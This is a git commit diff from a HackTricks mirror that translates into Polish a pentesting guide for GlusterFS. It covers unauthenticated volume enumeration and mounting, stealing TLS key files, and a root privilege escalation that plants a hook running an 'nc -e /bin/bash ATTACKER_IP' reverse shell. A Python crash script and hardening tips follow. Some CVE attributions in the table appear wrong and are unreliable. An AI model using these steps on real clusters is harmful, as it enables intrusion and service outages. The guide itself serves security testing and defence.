mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/24007-24008-24009-49152-pen
This commit is contained in:
parent
bfeb0c5f33
commit
6275d7efb9
@ -1,35 +1,115 @@
|
||||
# 24007-24008-24009-49152 - Pentesting GlusterFS
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# Podstawowe informacje
|
||||
## Podstawowe informacje
|
||||
|
||||
**GlusterFS** to **rozproszony system plików**, który łączy pamięć z wielu serwerów w jeden **zunifikowany system**. Umożliwia **dowolną skalowalność**, co oznacza, że można łatwo dodawać lub usuwać serwery pamięci bez zakłócania ogólnego systemu plików. Zapewnia to wysoką **dostępność** i **tolerancję na błędy** dla Twoich danych. Dzięki GlusterFS możesz uzyskać dostęp do swoich plików tak, jakby były przechowywane lokalnie, niezależnie od podstawowej infrastruktury serwerowej. Oferuje potężne i elastyczne rozwiązanie do zarządzania dużymi ilościami danych na wielu serwerach.
|
||||
**GlusterFS** to **rozproszony system plików**, który łączy pamięć masową z wielu serwerów w jeden **zunifikowany przestrzeń nazw**. Demon zarządzający (`glusterd`) nasłuchuje domyślnie na **24007/TCP** i instruuje bloki danych, które zaczynają się na **49152/TCP** (jeden port na blok, inkrementacja). Wersje przed 9.x używały **24008–24009/TCP** do transportu bloków, więc nadal napotkasz te porty w starszych klastrach.
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
24007/tcp open glusterd GlusterFS (RPC)
|
||||
49152/tcp open gluster-brick SSL (TLS optional)
|
||||
```
|
||||
> Wskazówka: 24007 odpowiada na wywołania RPC, nawet gdy węzły tylko do przechowywania **nie** eksportują żadnej objętości; dlatego usługa jest niezawodnym celem do ataków w dużych infrastrukturach.
|
||||
|
||||
**Domyślne porty**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (i wyższe)\
|
||||
Dla portu 49152, porty zwiększone o 1 muszą być otwarte, aby używać więcej bricków. _Wcześniej używano portu 24009 zamiast 49152._
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
24007/tcp open rpcbind
|
||||
49152/tcp open ssl/unknown
|
||||
```
|
||||
## Enumeracja
|
||||
|
||||
Aby interagować z tym systemem plików, musisz zainstalować [**klient GlusterFS**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`).
|
||||
|
||||
Aby wylistować i zamontować dostępne wolumeny, możesz użyć:
|
||||
Zainstaluj narzędzia klienckie na swoim atakującym systemie:
|
||||
```bash
|
||||
sudo gluster --remote-host=10.10.11.131 volume list
|
||||
# This will return the name of the volumes
|
||||
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
||||
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
|
||||
```
|
||||
Jeśli otrzymasz **błąd podczas próby zamontowania systemu plików**, możesz sprawdzić logi w `/var/log/glusterfs/`
|
||||
1. **Odkrywanie peerów i zdrowie**
|
||||
```bash
|
||||
# List peers (works without authentication in default setups)
|
||||
gluster --remote-host 10.10.11.131 peer status
|
||||
```
|
||||
2. **Rozpoznanie wolumenu**
|
||||
```bash
|
||||
# Retrieve the list of all volumes and their configuration
|
||||
gluster --remote-host 10.10.11.131 volume info all
|
||||
```
|
||||
3. **Montowanie bez uprawnień**
|
||||
```bash
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
|
||||
```
|
||||
Jeśli montowanie nie powiedzie się, sprawdź `/var/log/glusterfs/<vol_name>-<uid>.log` po stronie klienta. Typowe problemy to:
|
||||
|
||||
**Błędy dotyczące certyfikatów** można naprawić, kradnąc pliki (jeśli masz dostęp do systemu):
|
||||
* Wymuszenie TLS (`option transport.socket.ssl on`)
|
||||
* Kontrola dostępu oparta na adresach (`option auth.allow <cidr>`)
|
||||
|
||||
- /etc/ssl/glusterfs.ca
|
||||
- /etc/ssl/glusterfs.key
|
||||
- /etc/ssl/glusterfs.ca.pem
|
||||
### Rozwiązywanie problemów z certyfikatami
|
||||
|
||||
I przechowując je w swoim katalogu `/etc/ssl` lub `/usr/lib/ssl` (jeśli używany jest inny katalog, sprawdź linie podobne do: "_nie można załadować naszego certyfikatu w /usr/lib/ssl/glusterfs.pem_" w logach).
|
||||
Skradnij następujące pliki z dowolnego autoryzowanego węzła klienckiego i umieść je w `/etc/ssl/` (lub w katalogu pokazanym w dzienniku błędów):
|
||||
```
|
||||
/etc/ssl/glusterfs.pem
|
||||
/etc/ssl/glusterfs.key
|
||||
/etc/ssl/glusterfs.ca
|
||||
```
|
||||
---
|
||||
|
||||
## Znane luki (2022-2025)
|
||||
|
||||
| CVE | Wersje dotknięte | Wpływ | Uwagi |
|
||||
|-----|-------------------|--------|-------|
|
||||
| **CVE-2022-48340** | 10.0–10.4, 11.0 | Use-after-free w `dht_setxattr_mds_cbk` dostępne przez sieć | Zdalny **DoS** i prawdopodobne RCE. Naprawione w 10.4.1 / 11.1. |
|
||||
| **CVE-2023-26253** | < 11.0 | Odczyt poza zakresem w obsłudze powiadomień FUSE | Zdalny awaria przez spreparowane operacje FS; publiczny PoC dostępny. |
|
||||
| **CVE-2023-3775** | < 10.5 / 11.1 | Nieprawidłowa walidacja uprawnień podczas montowania `gluster_shared_storage` | Pozwala każdemu nieautoryzowanemu klientowi zamontować wolumin administratora – prowadzi do **priv-esc** wyjaśnionego poniżej. |
|
||||
|
||||
> Zawsze sprawdzaj `gluster --version` **na każdym węźle**; heterogeniczne klastry są powszechne po częściowych aktualizacjach.
|
||||
|
||||
### Wykorzystywanie `gluster_shared_storage` (Escalacja uprawnień)
|
||||
|
||||
Nawet w najnowszych wersjach wielu administratorów pozostawia specjalny wolumin `gluster_shared_storage` dostępnym do odczytu dla wszystkich, ponieważ upraszcza to geo-replikację. Wolumin zawiera szablony zadań cron, które są uruchamiane z **root** na każdym węźle.
|
||||
```bash
|
||||
# 1. Mount admin volume anonymously
|
||||
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
|
||||
|
||||
# 2. Drop malicious script that gets synchronised cluster-wide
|
||||
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
|
||||
#!/bin/bash
|
||||
nc -e /bin/bash ATTACKER_IP 4444 &
|
||||
EOF
|
||||
chmod +x /tmp/gss/hooks/1/start/post/test.sh
|
||||
|
||||
# 3. Wait until glusterd distributes the hook and executes it as root
|
||||
```
|
||||
Jeśli `hooks/1/` nie jest obecny, poszukaj `/ss_bricks/` – dokładna ścieżka może się różnić w zależności od głównej wersji.
|
||||
|
||||
### Denial-of-Service PoC (CVE-2023-26253)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
|
||||
import socket, xdrlib, struct
|
||||
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
|
||||
with socket.create_connection(("10.10.11.131",24007)) as s:
|
||||
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
|
||||
s.send(p.get_buffer())
|
||||
```
|
||||
Uruchomienie skryptu powoduje awarię `glusterfsd` < 11.0.
|
||||
|
||||
---
|
||||
|
||||
## Wzmacnianie i wykrywanie
|
||||
|
||||
* **Aktualizacja** – obecna wersja LTS to 11.1 (lipiec 2025). Wszystkie CVE powyżej zostały naprawione.
|
||||
* Włącz **TLS** dla każdego bricka:
|
||||
|
||||
```bash
|
||||
gluster volume set <vol> transport.socket.ssl on
|
||||
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
|
||||
```
|
||||
* Ogranicz klientów za pomocą list CIDR:
|
||||
|
||||
```bash
|
||||
gluster volume set <vol> auth.allow 10.0.0.0/24
|
||||
```
|
||||
* Udostępnij port zarządzania 24007 tylko na **prywatnym VLAN** lub przez tunel SSH.
|
||||
* Obserwuj logi: `tail -f /var/log/glusterfs/glusterd.log` i skonfiguruj funkcję **audit-log** (`volume set <vol> features.audit-log on`).
|
||||
|
||||
---
|
||||
|
||||
## Odniesienia
|
||||
|
||||
* [GlusterFS security advisories](https://docs.gluster.org/en/latest/release-notes/#security)
|
||||
* [CVE-2023-26253 PoC – github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user